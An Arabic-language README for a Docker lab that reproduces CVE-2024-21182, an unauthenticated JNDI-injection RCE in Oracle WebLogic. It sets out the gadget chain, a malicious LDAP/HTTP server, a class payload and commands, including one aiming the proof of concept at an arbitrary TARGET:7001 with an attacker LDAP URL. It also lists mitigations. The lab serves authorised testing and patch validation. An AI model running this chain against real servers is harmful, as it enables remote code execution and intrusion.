
مختبر Docker قابل للتكرار لثغرة CVE-2024-21182 في Oracle WebLogic T3/IIOP OpaqueReference JNDI injection مما يؤدي إلى RCE غير مصادق عليه. سكربت validate.sh بأمر واحد للاختبار الأمني المصرح به والتحقق من التصحيح.
مختبر Docker مستقل بأمر واحد لـ إعادة إنتاج والتحقق من مجموعة ثغرات حقن JNDI من نوع OpaqueReference في Oracle WebLogic Server (CVE-2024-21182، تجاوز تصحيح لـ CVE-2023-21839) وتحويلها إلى تنفيذ تعليمات برمجية عن بعد غير موثّق.
⚠️ للاستخدام في البحث الأمني المصرح به والتعليم والتحقق من التصحيحات فقط. انظر إخلاء المسؤولية. قم بتشغيله فقط ضد هذا المختبر أو الأنظمة التي تملكها.
CVE-2024-21182 هي ثغرة غير موثّقة في المكون الأساسي لـ Oracle WebLogic Server، يمكن الوصول إليها عبر بروتوكولي T3 / IIOP (المنفذ الافتراضي 7001). تسمح للمهاجم بربط كائن "مرجع" مصمم خصيصًا في شجرة JNDI للخادم وتفعيل بحث JNDI من جانب الخادم ضد رابط URL يتحكم به المهاجم — حقن JNDI كلاسيكي يتصاعد إلى RCE.
| CVE | CVE-2024-21182 |
| المنتج | Oracle WebLogic Server (Core) |
| المتأثر (حسب Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| تم الإصلاح في | تحديث التصحيحات الحاسم لـ Oracle أكتوبر 2024 |
| الناقل | شبكة، غير موثّق، T3/IIOP (المنفذ 7001) |
| CISA KEV | نعم (مستغل معروف في البرية) |
| الفئة | تجاوز تصحيح لـ CVE-2023-21839 (حقن JNDI من نوع OpaqueReference) |
يتم حل كائن مرجع WebLogic من جانب الخادم أثناء lookup() بواسطة ObjectFactory تقوم بإجراء بحث JNDI متداخل ضد URL يقدمه المهاجم:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← attacker-controlled, server-side
وصل CVE-2023-21839 إلى هذا عبر weblogic.jndi.internal.ForeignOpaqueReference، والذي قامت Oracle بحمايته بعد ذلك. يتجاوز CVE-2024-21182 هذا الحاجز عن طريق الوصول إلى نفس البحث الخارجي عبر weblogic.ejb.container.internal.AggregatableOpaqueReference، حيث يتم تعيين الحقل الخاص referent بشكل انعكاسي إلى weblogic.application.naming.MessageDestinationReference.
يستخدم هذا المختبر vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3، مرفق بـ JDK 1.8.0_151) لأنه الصورة الوحيدة القابلة لإعادة التوزيع بحرية لـ WebLogic الضعيفة — الإصدارات التي يسردها CVE-2024-21182 رسميًا (12.2.1.4.0 / 14.1.1.0.0) تتطلب ترخيص Oracle ولا يمكن نشرها هنا.
النتائج، ذكرها بصراحة:
OpaqueReference ← RCE بأمانة، باستخدام فئات الأدوات المحددة لـ CVE-2024-21182 (AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (تحميل الفئات عن بعد). على JDK الحديثة لا يزال الحقن يعمل (SSRF)، لكن RCE تتطلب أداة موجودة بالفعل في مسار فئات WebLogic بدلاً من قاعدة تعليمات برمجية عن بعد.المتطلبات: Docker + Docker Compose v2. سحب صورة حوالي 3 جيجابايت. على Apple Silicon، تعمل الصورة تحت محاكاة linux/amd64 (إقلاع بارد أبطأ، 2-5 دقائق).
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # waits for boot, fires the exploit, prints PASS/FAIL
المخرجات المتوقعة في نهاية ./validate.sh:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
إيقاف التشغيل:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (victim) server-side JNDI lookup returns Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
loads + instantiates → static{} runs `id`
poc/CVE_2024_21182.java — عميل T3. يقوم ببناء AggregatableOpaqueReference الخبيث، ويربطه (bind())، ثم يقوم بالبحث (lookup()) لتفعيل الحل من جانب الخادم. الوسائط: <t3-host:port> <ldap-url>. يتم تجميعه داخل حاوية WebLogic بواسطة validate.sh لأن فئات الأدوات موجودة في مجموعة الوحدات الكاملة لـ WebLogic (وليس العميل الرقيق القابل لإعادة التوزيع)، لذلك لا يتم شحن أي ملفات JAR من Oracle هنا.exploit/ldap_server.py — خادم LDAP خبيث بسيط يعيد Reference JNDI بالإضافة إلى خادم HTTP يستضيف فئة المصنع. يعمل في حاوية attacker، يمكن الوصول إليه من WebLogic عبر اسم الخدمة attacker.exploit/Exploit.java / Exploit.class — مصنع التحميلة (bytecode Java 8). يقوم المُهيئ الثابت بتشغيل id / uname -a وكتابة المخرجات إلى /tmp/RCE_PROOF_CVE_2024_21182 داخل الضحية. غير ضار بالتصميم — قم بتعديله وتشغيل exploit/build.sh لتغيير الأمر.إن ClassCastException (لا يمكن تحويل Exploit إلى ObjectFactory) التي ستراها متوقعة وتجميلية — تحدث بعد أن يكون المُهيئ الثابت (التحميلة) قد نُفذ بالفعل.
وجّه الأداة التجريبية (PoC) إلى أي نقطة نهاية T3 يسمح لك باختبارها:
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false؛ لا يزال لديك SSRF، وقد يكون RCE ممكنًا عبر أداة في مسار الفئات.weblogic.security.net.ConnectionFilterImpl) وجدران نارية للمضيف.com.sun.jndi.ldap.object.trustURLCodebase=false (الافتراضي على JDKs الحالية)؛ يكسر جزء RCE القائم على قاعدة تعليمات برمجية عن بعد (وليس جزء الحقن).*OpaqueReference.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference)هذا المشروع منشور لـ الاختبار الأمني المصرح به، والتحقق الدفاعي، والتعليم. البرنامج الضعيف يعمل في مختبر Docker معزول. لا تستخدم هذه التقنيات ضد أنظمة لا تملكها أو غير مصرح لك باختبارها صراحةً. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام. انظر LICENSE.